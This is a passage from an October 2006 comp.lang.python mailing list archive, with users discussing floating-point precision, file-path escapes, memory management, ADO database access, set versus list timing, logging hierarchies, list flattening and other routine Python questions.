http://en.wikipedia.org/wiki/Floating_point for details). 1) pi is an irrational number, so it *cannot* be represented exactly in floating point. Therefore the value of pi in your call to the sin function is definitely, proveably, *not* exactly equal to the true value of pi. 2) So, even if the function "sin" could be evaluated exactly, the fact that you are not evaluating it exactly at the true value of pi, but instead at a good but imperfect approximation to this value, means that the sine function *should not* give the result = 0 for your request! 3) The function sin is also evaluated to only a finite degree of precision - just like everything else in floating point arithmetic. Therefore you should not expect absolutely precise results. Instead, you need to understand the limitations of floating point arithmetic, understand the precision you *can* expect, and work within these bounds. It's a good system, but you do need to understand its limitations. The links other people have posted are good resources for this. Best wishes, andy From http Mon Oct 9 18:26:33 2006 From: http (Paul Rubin) Date: 09 Oct 2006 15:26:33 -0700 Subject: Initialization of variables using no-arg constructor References: Message-ID: <7xbqol2kiu.fsf@ruckus.brouhaha.com> > In order for sum() to be generic I initialize total to the value of > list[0].__class__(). This works but I would like to know if this is > the correct or preferred way of doing it. More natural would be (untested): def sum(list): assert list # both versions fail if list is empty total = list[0] # could use list[1:] but this avoids copying for i in xrange(1, len(list)): total += list[i] or various alternate spellings with iterators, the reduce function, etc. This pattern is common enough that Haskell has a "foldl1" function similar to reduce but initializing from the first element of the sequence. From gabrielg_laburando at yahoo.com.ar Tue Oct 10 18:25:53 2006 From: gabrielg_laburando at yahoo.com.ar (Gabriel G) Date: Tue, 10 Oct 2006 19:25:53 -0300 Subject: A problem about File path encode In-Reply-To: <8c8dcbe30610100732r49c7e735u532184e1e9015445@mail.gmail.co m> References: <8c8dcbe30610091814g195c9ddcv4c29f33fa29e425@mail.gmail.com> <7.0.1.0.0.20061010065236.04290218@yahoo.com.ar> <8c8dcbe30610100732r49c7e735u532184e1e9015445@mail.gmail.com> Message-ID: <7.0.1.0.0.20061010191837.01f51540@yahoo.com.ar> At Tuesday 10/10/2006 11:32, Kevien Lee wrote: >I agree with the problem caue of the the escape character,but when i folllow >these meth,it still didn't work. Explain "didn't work". A full traceback would be useful. >It is so strang that the code work on another computer (OS is WinXP),but throw >error on mine.Why?plese help me Using *exactly* the same file name? "D:\Downloads\second.xml" works fine too, but that's just because \d and \s are not recognised as escape sequences. > > There is a problem about File path encode ,when i want to parse > > an xml file. > > xmldoc=minidom.parse("D:\Downloads\1.xml") > >IOError: [Errno 2] No such file or directory: 'D:\\Downloads\x01.xml' -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From fredrik at pythonware.com Fri Oct 20 04:04:54 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 10:04:54 +0200 Subject: invert or reverse a string... warning this is a rant References: <038b01c6f413$1f0c65e0$03000080@hendrik> Message-ID: Hendrik van Rooyen wrote: >> 'a man a plan a canal panama' is not a palindrome > > not if spaces count - which they do if you rely on a single reverse operation (my point was that it takes a bit more work than that to check for a palindrome). From maxm at mxm.dk Mon Oct 9 05:07:34 2006 From: maxm at mxm.dk (Max M) Date: Mon, 09 Oct 2006 11:07:34 +0200 Subject: Memory Management in python 2.5 In-Reply-To: <1160383218.694248.198570@b28g2000cwb.googlegroups.com> References: <1160383218.694248.198570@b28g2000cwb.googlegroups.com> Message-ID: <452a1158$0$13933$edfadb0f@dread15.news.tele.dk> cesar.ortiz at gmail.com skrev: > Hi, I am starting to have a look to a python program that does not free > memory (I am using python 2.4.3). As I have read about a new memory > management in python 2.5 (http://evanjones.ca/python-memory.html) I > decided to try the program with the new version. > With the new version of python the memory consumption is the same. Now > I am asking myself if python 2.5 has any improving in memory > management or maybe not yet. Thank you. In previous versions Python collected memory, but never released it again. It simply kept on to it, so it could reuse it again later. From 2.5 onwards it should release most of the unused memory. However it doesn't use less memory. The peak memory usage should be the same as before. So for one-off programs that starts up and runs once, there should not be much gain. -- hilsen/regards Max M, Denmark http://www.mxm.dk/ IT's Mad Science From martin at v.loewis.de Tue Oct 24 13:36:13 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 19:36:13 +0200 Subject: Python 2.5 ; Effbot console ; thank ; pb release. In-Reply-To: References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> <021801c6f734$cb375900$03000080@hendrik> Message-ID: <453E4F0D.9050809@v.loewis.de> Ben Finney schrieb: >> "Fredrik Lundh" wrote: >>> some days, I ask myself why I shouldn't just use GPL for >>> everything I do, and ship it as source code only. >> because then you would deny your work to thousands of ungrateful, >> unmotivated lazy buggers like me... > > Not necessarily. All it needs is one person (with the same platform > you want to use) to take the source, build it for that platform, and > make it available. In my experience, this single person *never* exists. I.e. it's either the original author who provides binaries, or none are provided. People certainly build it themselves, but then never share. I don't know why that is - probably, it takes a different mindset to be on the giving end than on the receiving end of free software. There are exceptions, of course: when communities are built. There is no question that binaries are available with the Linux distributions, and the various Sun, HP, IBM, Darwinports, etc. free software sites also have an established contributorship. For Windows, such communities apparently don't form, for some reason. Regards, Martin From rpdooling at gmail.com Wed Oct 11 23:02:14 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 11 Oct 2006 20:02:14 -0700 Subject: python 2.5 & sqlite3 In-Reply-To: <1160616758.718092.210130@m73g2000cwd.googlegroups.com> References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> <1160616758.718092.210130@m73g2000cwd.googlegroups.com> Message-ID: <1160622134.835465.119850@k70g2000cwa.googlegroups.com> >> Looks like it could be from reading some >> build-Python-from-source instructions for Unix platforms ... Yes, Sorry. I read the doc too hastily. >> If you're compiling the Python source yourself, >> note that the source tree doesn't include the SQLite code, >> only the wrapper module. I'm playing with sqlite now, and awaiting the yet-to-be-issued 2.5 distro from ActiveState. My apologies. Thank you, again. rd From hg at nospam.com Mon Oct 16 16:49:06 2006 From: hg at nospam.com (hg) Date: Mon, 16 Oct 2006 15:49:06 -0500 Subject: ADO with Python In-Reply-To: <4pi94uFip1e9U1@individual.net> References: <4pi94uFip1e9U1@individual.net> Message-ID: Ralf wrote: > Is their anybody with xperience in using the both and can provide me with > some xamples. > > Thx a lot > Ralf > > I suggest you buy the book from Mark Hammond hg ex (major cut and paste): #******************************************************************** def Get_User_Info_From_DB(self, p_user_id): try: #l_query = 'Select Groups.GR_AccessDate from Groups,Members where Members.GroupId = Groups.GR_GroupId and Members.MemberId = %s;' % p_user_id l_query = 'SELECT Firstname,Lastname,GR_ExpirationDate,GR_AccessDate,GR_CurrentBal,MemberType,MemberDues FROM MemberTypes,Members,Groups Where (Groups.GR_GroupId = Members.GroupId) and (MemberTypes.MemberTypeID = Groups.GR_MembershipType) and (MemberId = %s);' % p_user_id l_conn = win32com.client.Dispatch(r'ADODB.Connection') l_DSN = 'PROVIDER=Microsoft.Jet.OLEDB.4.0;DATA SOURCE='+self.__m_database + ';' l_conn.Open(l_DSN) l_recordset = win32com.client.Dispatch(r'ADODB.Recordset') l_recordset.Open(l_query, l_conn, 1, 3) l_found_date = False try: l_recordset.MoveFirst() l_exp_date = l_recordset.Fields.Item('GR_ExpirationDate').Value l_access_date = l_recordset.Fields.Item('GR_AccessDate').Value l_last_name = l_recordset.Fields.Item('Lastname').Value l_first_name = l_recordset.Fields.Item('Firstname').Value l_membership_type = l_recordset.Fields.Item('MemberType').Value #print 'HERE ', l_recordset.Fields.Item('MemberType').Value l_val = l_recordset.Fields.Item('MemberDues').Value l_dues_amount = '%.02f' % (float(l_val[1])/10000.0) if None == l_access_date: self.__m_log.Log( ('DATE IS NOT AVAILABLE FOR USER ID %s' % p_user_id) ) else: l_found_date = True self.__m_log.Log( ('FOUND NEW DATE IN DATABASE FOR USER ID %s: %s' % (p_user_id, l_access_date)) ) except: self.__m_log.Log( ( 'GET DATE QUERY FAILED ON USER ID %s' % p_user_id) ) self.__m_log.Log(traceback.format_exc()) l_conn.Close() if False == l_found_date: return None #print 'IN GET: ACCESS ', l_access_date.Format() #print 'IN GET: EXP', l_exp_date.Format() return ( l_exp_date.Format(),l_access_date.Format(), l_last_name, l_first_name, l_membership_type, l_dues_amount) except: self.__m_log.Log(traceback.format_exc()) try: l_conn.Close() except: self.__m_log.Log('Could not close database connection on retrieval') self.__m_log.Log(traceback.format_exc()) pass self.__m_log.Log( ('Fatal error retrieving date from database for user id %s ' % p_user_id)) return None From nairarunv at gmail.com Thu Oct 26 05:48:41 2006 From: nairarunv at gmail.com (Arun Nair) Date: 26 Oct 2006 02:48:41 -0700 Subject: Cards deck problem In-Reply-To: <7xbqnz4dqu.fsf@ruckus.brouhaha.com> References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> <7xbqnz4dqu.fsf@ruckus.brouhaha.com> Message-ID: <1161856121.066956.227720@k70g2000cwa.googlegroups.com> Hey paul i dont know how to implement this stuff if you have any ebook or any notes which can halp me then i would like to try it and implement my and refer back to you for any errors comming out of it Regards, Arun On Oct 26, 7:39 pm, Paul Rubin wrote: > "Arun Nair" writes: > > Your urgent and quick reply help will be appreciated the most.Do you have a specific question? What are you having trouble with? From onurb at xiludom.gro Wed Oct 11 04:40:50 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 11 Oct 2006 10:40:50 +0200 Subject: How to write Smart Python programs? In-Reply-To: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> Message-ID: <452cae13$0$24783$426a74cc@news.free.fr> Raj wrote: > Hi, > > We just executed a project with Python using TG. The feedback was to > use more python like programming rather than C style code executed in > Python. The feedback is from a Python purist and for some reasons we > cannot solicity his help. > > So we'd like to do is to scrub through the codebase and identify places > where the codebase needs improvement, both from styling as well as > design. Is there any website that can provide me with advanced tips > rather than just tutorials coz thats not of much help. Googling for "python is not java" may be a good start. Also, here are 2 common C-style smells: 1/ using explicit indexing instead of iteration: C-smell : for i in range(len(seq)): do_something_with(seq[i]) Pythonic: for item in seq: do_something_with(item) # or if you need the index too: for i, item in enumerate(seq): do_something_with(i, item) 2/ functions that returns a status code and modify their arguments. The pythonic way is to have the function return multiple args and raise an exception if something went wrong -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From leonhard.vogt at gmx.ch Mon Oct 9 03:42:45 2006 From: leonhard.vogt at gmx.ch (leonhard.vogt at gmx.ch) Date: 9 Oct 2006 00:42:45 -0700 Subject: unexpected behaviour of lambda expression Message-ID: <1160379765.723206.33640@i3g2000cwc.googlegroups.com> Please consider that example: Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> s = 'foo' >>> f = lambda x: s >>> f(None) 'foo' >>> s = 'bar' >>> f(None) 'bar' >>> del(s) >>> f(None) Traceback (most recent call last): File "", line 1, in ? File "", line 1, in NameError: global name 's' is not defined It seems to me, that f is referencing the name s instead of the string object bound to it i would expect the analogous behaviour to the following example: Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> s = 'foo' >>> f = s >>> f 'foo' >>> s = 'bar' >>> f 'foo' I could work around this but I am interested why there is that difference. Leonhard From martin at v.loewis.de Mon Oct 23 18:54:25 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 00:54:25 +0200 Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64 In-Reply-To: References: <45386B4C.4020001@v.loewis.de> Message-ID: <453d4821$0$22566$9b622d9e@news.freenet.de> Christopher Taylor schrieb: > I had /usr/lib64/python2.3 included and that's why it was breaking. I > took it out and it works fine now. Unfortunately, it still puts the > lib files in /usr/lib instead of /usr/lib64. I'm assuming all I need > to do is set libdir accordingly and the files will get put in > /usr/lib64. How do I then build the library files for 32bits? Can you explain what "then" is? If you set libdir so that all files go into /usr/lib64, why do want *then* that those library files are built for 32bits? Shouldn't they be built for 64bits if they go to /usr/lib64? In any case, you usually select the target architecture by either selecting the right compiler, or the right compiler flags. Just set CC to a 32-bit-compiler, and Python should be built as 32-bit binaries. Regards, Martin From j_nwb at yahoo.com Tue Oct 24 16:42:57 2006 From: j_nwb at yahoo.com (j_nwb) Date: Tue, 24 Oct 2006 13:42:57 -0700 Subject: default python when multiple python installation on the box In-Reply-To: <453e6b0c$0$25200$9b622d9e@news.freenet.de> References: <453e6b0c$0$25200$9b622d9e@news.freenet.de> Message-ID: Does not help my immediate situation, but this understanding definitely helps. Thanks /J Martin v. L?wis wrote: > j_nwb schrieb: >> I have multiple python installations. 2.2, 2.3, 2.4. When I install a >> new package (pygtk2) , it always install in python 2.3. >> I changed the /usr/bin/python to be 2.4 binary. Still the same behavior. >> How does rpms, determine which installation to update ? Is there a >> file somewhere ? >> I am running in to this on Fedora as well as CenOS. > > Not sure what you mean by package: RPM package or distutils package? > If RPM package: binary package or source package? > > Binary RPM packages have the Python version compiled into their > extension modules, and you can't change that without recompilation. > In addition, they have the directory and file names hard-coded in > the RPM archive. > > Source RPM packages have the Python version coded into their spec > file. You should read the spec file to find out what Python version > it uses. > > Distutils packages use the Python version you use to run setup.py, > so you should be able to install either with "python2.4 setup.py", > or get a different Python selected by changing /usr/bin/python. > Since you specifically asked about RPMs, I guess distutils packages > are of no interest to you, though. > > Regards, > Martin From p.lavarre at ieee.org Wed Oct 25 14:51:14 2006 From: p.lavarre at ieee.org (p.lavarre at ieee.org) Date: 25 Oct 2006 11:51:14 -0700 Subject: call Mac gcc -framework from CTypes how References: <1161218951.763867.148520@i3g2000cwc.googlegroups.com> Message-ID: <1161802274.067960.326920@m73g2000cwd.googlegroups.com> > can I somehow call the IONotificationPortCreate in the > Framework that Apple built instead, $ cd /System/Library/Frameworks/ $ cd IOKit.framework/Versions/Current/ $ file IOKit ... Mach-O dynamically linked shared library ... $ nm -m IOKit | grep IONotificationPortCreate ... (__TEXT,__text) external _IONotificationPortCreate $ Looks like it will work. Not named .dylib or .so, but correct `file` type and relevant `nm -m` symbols. Thanks all for help offline, especially Nlzero.com, From ptmcg at austin.rr._bogus_.com Wed Oct 4 12:28:18 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 04 Oct 2006 16:28:18 GMT Subject: item access time: sets v. lists References: Message-ID: "David Isaac" wrote in message news:QWQUg.15396$3T2.2982 at trnddc06... > Is it expected for access to set elements to be much > slower than access to list elements? Explanation? > Thanks, > Alan Isaac > >>>> t1=timeit.Timer("for i in set(xrange(10000)):pass","") >>>> t2=timeit.Timer("for i in list(xrange(10000)):pass","") >>>> t1.timeit(1000) > 9.806250235714316 >>>> t2.timeit(1000) > 3.9823075279120701 > > A couple of points: 1. Your use of timeit is a bit flawed. You are not only timing the access into the set or list, but also the construction of the set/list, *every time*. Use the second string arg (the one you are passing as "") for one-time initialization, so that you measure only access, which is what you say your are interested in. 2. Ooops, it turns out you're not really *accessing* the set/list, you are *iterating* over it. Given that sets are implemented internally using a tree structure, I would expect that iterating over a list could be faster, although only marginally so. 3. Here are some stats for a little more correct timeits: Construct list/set set -> 1.89524618352 list -> 0.299499796762 Iterate over list/set set -> 0.646887523414 list -> 0.552001162159 Random access to first item in list/set set -> 0.000189409547861 list -> 0.000160076210804 Random access to item in list/set when item exists set -> 0.000241650824337 list -> 0.0245168031132 Random access to item in list/set when item does not exist set -> 0.000187733357172 list -> 0.522086186932 The code: import timeit print "\nConstruct list/set" t1=timeit.Timer("z = set(xrange(10000))","") t2=timeit.Timer("z = list(xrange(10000))","") print "set ->", t1.timeit(1000) print "list ->", t2.timeit(1000) print "\nIterate over list/set" t1=timeit.Timer("for i in z: pass","z = set(xrange(10000))") t2=timeit.Timer("for i in z: pass", "z = list(xrange(10000))") print "set ->", t1.timeit(1000) print "list ->", t2.timeit(1000) print "\nRandom access to first item in list/set" t1=timeit.Timer("0 in z","z = set(xrange(10000))") t2=timeit.Timer("0 in z", "z = list(xrange(10000))") print "set ->", t1.timeit(1000) print "list ->", t2.timeit(1000) print "\nRandom access to item in list/set when item exists" t1=timeit.Timer("500 in z","z = set(xrange(10000))") t2=timeit.Timer("500 in z", "z = list(xrange(10000))") print "set ->", t1.timeit(1000) print "list ->", t2.timeit(1000) print "\nRandom access to item in list/set when item does not exist" t1=timeit.Timer("10500 in z","z = set(xrange(10000))") t2=timeit.Timer("10500 in z", "z = list(xrange(10000))") print "set ->", t1.timeit(1000) print "list ->", t2.timeit(1000) -- Paul From bearophileHUGS at lycos.com Thu Oct 5 17:53:05 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 5 Oct 2006 14:53:05 -0700 Subject: Graph Theory In-Reply-To: <1160079922.925712.55850@i42g2000cwa.googlegroups.com> References: <1160078200.790616.209000@i42g2000cwa.googlegroups.com> <1160079341.752297.139110@h48g2000cwc.googlegroups.com> <1160079922.925712.55850@i42g2000cwa.googlegroups.com> Message-ID: <1160085185.339372.239100@i42g2000cwa.googlegroups.com> diffuser78 at gmail.com: >I was wondering if you can generate random graph and analyze some > peroperties of it like clustering coefficient or graph density. There are many kinds of random graphs, in that Graph lib I have added few random generators, but you can add many more yourself, it's easy (Then if you want you can send them back to be added to that lib, if they are nice). Note that if you want to manage a LOT of nodes/arcs you can use Boost Graph with Python. > I am a graph theory student and want to use python for development. It can be useful for small and medium sized graphs. > Somebody told me that Python has already so much bultin. Right. > Are there any visualization tool which would depict the random graph > generated by the libraries. Graph exports in two common formats, like Dot and another. NetworkX probably exports in Dot too. Look for Graphviz. And there is another famous sofeware for huge graphs too. Bye, bearophile From http Tue Oct 3 07:15:35 2006 From: http (Paul Rubin) Date: 03 Oct 2006 04:15:35 -0700 Subject: Best way to handle large lists? References: Message-ID: <7x8xjxhcq0.fsf@ruckus.brouhaha.com> Chaz Ginger writes: > I have a system that has a few lists that are very large (thousands or > tens of thousands of entries) and some that are rather small. Many times > I have to produce the difference between a large list and a small one, > without destroying the integrity of either list. I was wondering if > anyone has any recommendations on how to do this and keep performance > high? Is there a better way than > > [ i for i in bigList if i not in smallList ] diff = list(set(bigList) - set(smallList)) Note that doesn't get you the elements in any particular order. From apardon at forel.vub.ac.be Fri Oct 6 06:19:20 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 6 Oct 2006 10:19:20 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-06, hanumizzle wrote: > On 6 Oct 2006 09:21:11 GMT, Antoon Pardon wrote: >> On 2006-10-06, Fredrik Lundh wrote: >> > Antoon Pardon wrote: >> > >> >> Is this general rules documeted somewhere? My impression is that readers >> >> of the documentation will treat arguments as keyword arguments unless >> >> this is explicitly contradicted. >> > >> > Sorry, I missed that this was comp.lang.python.alternate.reality. My >> > mistake. >> > >> >> A personal attack won't make my argument go away. It also doesn't >> answer my question. > > Not sure exactly what is going on / being argued about in this thread but HTH :? > > http://docs.python.org/tut/node6.html > > This doesn't say anything positive or negative about the practice in > question, but does point out that it is possible. I think it is a > reasonable assumption that if it isn't necessary, most users will > elide the keywords. What I am argueing is that it is very natural for python programmers to assume that keyword arguments will work if they see a signature. IMO if a python programmer sees something like: abs(x) It is very natural to envision a corresponding def statement like: def abs(x): and a python function written like this will work if called as follows: abs(x=5) IMO this is a very natural thought process for a python programmer. So a python programmer seeing the first will tend to expect that last call to work. Now frederic claims that the general rule is different. Now I'm perfectly happy to accept that those who write the documentation do so based aacording to the rule frederic stated (you can't/shouldn't use a parameter as a keyword argument unless explictly stated in the documentation), but that doesn't contradict that readers may have different expectations. -- Antoon Pardon From fredrik at pythonware.com Fri Oct 6 04:54:52 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 10:54:52 +0200 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: Antoon Pardon wrote: > Is this general rules documeted somewhere? My impression is that readers > of the documentation will treat arguments as keyword arguments unless > this is explicitly contradicted. Sorry, I missed that this was comp.lang.python.alternate.reality. My mistake. From metaperl at gmail.com Tue Oct 24 09:43:18 2006 From: metaperl at gmail.com (metaperl) Date: 24 Oct 2006 06:43:18 -0700 Subject: HTML Templates (Sitemesh/Tiles concept) in Python In-Reply-To: <1161618598.598300.127970@m73g2000cwd.googlegroups.com> References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com> Message-ID: <1161697398.573460.251730@b28g2000cwb.googlegroups.com> Suren wrote: > It seems error prone as well as bad design to scatter this logic in > each content page. Is there a template logic like Sitemesh or Tiles > concept that can decorate a desired page just before show time? > Suren, you are looking for push-style templating. I list a number of alternatives here: http://www.livingcosmos.org/Members/sundevil/software-engineering/push-style-templating-systems/view I use meld3 personally, but Templess looks pretty good and Webstring also. Depends on your tastes. From vinay_sajip at yahoo.co.uk Fri Oct 20 09:58:52 2006 From: vinay_sajip at yahoo.co.uk (Vinay Sajip) Date: 20 Oct 2006 06:58:52 -0700 Subject: Logging with Logger hierarchies References: <1161346350.030708.319880@i3g2000cwc.googlegroups.com> Message-ID: <1161352732.357349.311380@h48g2000cwc.googlegroups.com> > I delved in the code and found that when my logger "a.b.c" is created, > it doesn't create Loggers for "a.b" or "a" but rather instances of a > PlaceHolder class. If I actually call logging.getLogger("a.b") and > logging.getLogger("a") then the PlaceHolders get converted to Loggers > and the hierarchy suddenly works. > > My feeling is that either the PlaceHolder objects should be modified to > make them work properly in the hierarchy, or probably more simply, they > should just be replaced by Loggers immediately when the hierarchy is > first created. In that case, I believe that my expected behaviour would > "just work". Now I am beginning to wonder if I have missed something, > ie is there some reason why this is not a good idea and hasn't been > done? Otherwise, what do people generally think? Is it as simple as I > haven't set something up right, or do I have to declare the > intermediate loggers, or does having multiple layers just suck!!! There is nothing wrong with the way you are naming your loggers - and there is nothing wrong with the way PlaceHolders work, either. They do just "work", AFAIK. If there were something wrong with your config file, no handler might get configured on the root logger, which would lead to the observed behaviour when you log to "a.b.c". With the simple script import logging logging.basicConfig(level=logging.DEBUG, format="%(name)s: %(levelname)-5s: %(message)s") logging.getLogger("a.b.c").debug("Hello, world!") I get the output a.b.c: DEBUG: Hello, world! which is as expected. Regards, Vinay Sajip From rrr at ronadam.com Tue Oct 17 12:56:48 2006 From: rrr at ronadam.com (Ron Adam) Date: Tue, 17 Oct 2006 11:56:48 -0500 Subject: Need a strange sort method... In-Reply-To: References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> Message-ID: Ron Adam wrote: > Neil Cerutti wrote: >> On 2006-10-16, Tim Chase wrote: >>> If you need it in a flat list, rather than as a list of >>> chunk_size lists (which are handy for iterating over in many >>> cases), there are ways of obtaining it, such as the hackish >>> >>>>>> sum([a[i::chunk_size] for i in range(chunk_size)], []) >>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] >>> >>> There are likely good recipes for flattening a list. I just >>> happen not to have any at my fingertips. >> >> Actually, there isn't a good recipe in Python for flattening a >> list. They all come out tasting like Circus Peanuts (Turkish >> Delight for you non-Yanks). >> > > > Here's two that I came up with. They are both very fast compared to > anything else I've seen. Maybe they won't taste so much like Peanuts. > :-) > > > def flatten(L): > """ Flatten a list in place. > """ > i = 0 > while i < len(L): > while type(L[i]) is list: > L[i:i+1] = L[i] > i += 1 > return L > > def sflatten(sequence): > """ Return a flattened sequence as a list. > """ > def iterinner(seq): > for s in seq: > if hasattr(s, '__iter__'): > for i in iterinner(s): > yield i > else: > yield s > return list(iterinner(sequence)) Woops, cut the wrong one... Replace sflatten above with the following. def flattened(seq): """ Return a flattened sequence as a list. """ def visit(a, x): for i in x: if not hasattr(i, '__iter__'): a.append(i) else: visit(a, i) a = [] visit(a, seq) return a > > Cheers, > Ron Adam From ewijaya at i2r.a-star.edu.sg Wed Oct 18 03:21:49 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Wed, 18 Oct 2006 15:21:49 +0800 Subject: Where to find pydoc? References: Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615B9@mailbe01.teak.local.net> Hi, Can you be specific on which URLs can I find "python-tools". Cause I tried the one under easy_install, I still can't find it. Thanks and hope to hear from you again. -- Edward WIJAYA SINGAPORE ________________________________ From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Fredrik Lundh Sent: Mon 10/16/2006 5:08 PM To: python-list at python.org Subject: Re: Where to find pydoc? look for "python-tools" or a similar package in your favourite package repository. -- http://mail.python.org/mailman/listinfo/python-list ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From sjmachin at lexicon.net Wed Oct 4 22:38:12 2006 From: sjmachin at lexicon.net (John Machin) Date: 4 Oct 2006 19:38:12 -0700 Subject: can't open chm files all of a sudden In-Reply-To: <45246d73$0$30759$c3e8da3@news.astraweb.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> <45246d73$0$30759$c3e8da3@news.astraweb.com> Message-ID: <1160015892.533777.301530@e3g2000cwe.googlegroups.com> John Salerno wrote: > John Machin wrote: > > > 6. Fire up a Comamnd Prompt window, and type this in: > > > > \windows\hh \python25\doc\python25.chm > > \windows\hh \windows\help\whatever.chm > > I tried this and got the same error. This is really upsetting. So that indicates that the problem is constant across (a) how you invoke hh.exe (b) your python chm and the windows-supplied chms. Now get back to the more likely suspect: one or more wrong-version DLLs dumped on you by that HTMLKit, or the absence of a needed DLL that was thrown away when you uninstalled it -- was there a dialogue where you were asked if you wanted to remove apparently unused DLLs? And you *still* haven't answered the basic question: ********************************************************** *** What is the error message that you get ??? *** ********************************************************** From mahs at telcopartners.com Mon Oct 23 14:46:43 2006 From: mahs at telcopartners.com (Michael Spencer) Date: Mon, 23 Oct 2006 11:46:43 -0700 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: References: Message-ID: Georg Brandl wrote: > Michael Spencer wrote: >> Announcing: compiler2 >> --------------------- >> >> For all you bytecode enthusiasts: 'compiler2' is an alternative to the standard >> library 'compiler' package, with several advantages. > > Is this a rewrite from scratch, or an improved stdlib compiler package? > > In the latter case, maybe you can contribute some patches to the core. > > Georg Georg It started as the latter (i.e., the stdlib compiler package improved) and proceeded via incremental change with the twin goals of generating correct object code and creating a clean compiler architecture (the latter somewhat subjective of course). I'd be happy in principle to contribute the work, but the sum of the changes amounts to a substantial re-write, so I don't think it can be meaningfully submitted as a patch. Regards Michael From jung at ucsd.edu Sun Oct 22 19:57:39 2006 From: jung at ucsd.edu (Julio Ng) Date: Sun, 22 Oct 2006 16:57:39 -0700 Subject: Scrolling On IDLE Message-ID: <2CDF962D-E1CC-42E2-906B-46A4CA59F317@ucsd.edu> Hello, I am using the IDLE (v1.2) for Mac OS X, and realized that scrolling with the mouse doesn't work. Do I need to configure anything to enable that feature? Thanks, Julio From mj23 at toro.azwestern.edu Wed Oct 11 02:57:02 2006 From: mj23 at toro.azwestern.edu (melv@awc.edu) Date: Tue, 10 Oct 2006 23:57:02 -0700 Subject: Converting MSWord Docs to PDF Message-ID: <4524431F@webmail.azwestern.edu> >Sybren Stuvel wrote: > melv at awc.edu enlightened us with: > >is it possible to convert MSword docs into PDF format? > > > Yes, it is. check out http://www.stuvel.eu/ooo-python#header3. It's > about converting Excel to PDF, but it equally applies to MSWord. thank you very much this will greatly help me out. Steve Holden: >However, this assumed perfect import of the .doc file into Open Office, >which can't be guaranteed (though it gets better every release). So you >may want to do some experimentation to find out how well the import >proceeds. > im almost certain that Open Office will atleast give me acceptable >>> i told my future employer that i could... > >And the next time you are bragging in that way, couch your boasts in >conditional terms to avoid losing face should you happen to be wrong. A >lot will depend on the complexity of the Word documents. > yeah, i know i was wrong in assuring him it was possible, but i was sure python could do anything! :P just kidding, thanks i know what you mean and i appreciate your advice. Andrew McLean: >An alternative to Adobe Distiller (part of Acrobat) is PDFCreator yeah, i am actually just barely testing it out and so far it has given me very good results, thanks for the tip. Melvin From johnjsal at NOSPAMgmail.com Wed Oct 25 16:03:10 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 20:03:10 GMT Subject: cleaner way to write this? In-Reply-To: <7x8xj4i5gq.fsf@ruckus.brouhaha.com> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> Message-ID: <2qP%g.161$1n3.4136@news.tufts.edu> Paul Rubin wrote: > def create_db_name(self): > try: > while True: > dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:', > 'Create New Database') > if dlg.ShowModal() != wx.ID_OK: > return None > db_name = dlg.GetValue() > if db_name: > return db_name > pop_up_error_dialog("please enter a value or press cancel") > finally: > dlg.Destroy() Interesting idea to use try/finally to ensure that dlg.Destroy() runs even with a return earlier in the method. Would this be considered appropriate use though, or would it be misusing try/finally? I thought the point of a try block was for when you anticipated exceptions, but given that try/except and try/finally used to be separate blocks, perhaps this was the original intent of a try/finally block? (i.e. nothing to do with exceptions?) From Matthew.Warren at Digica.com 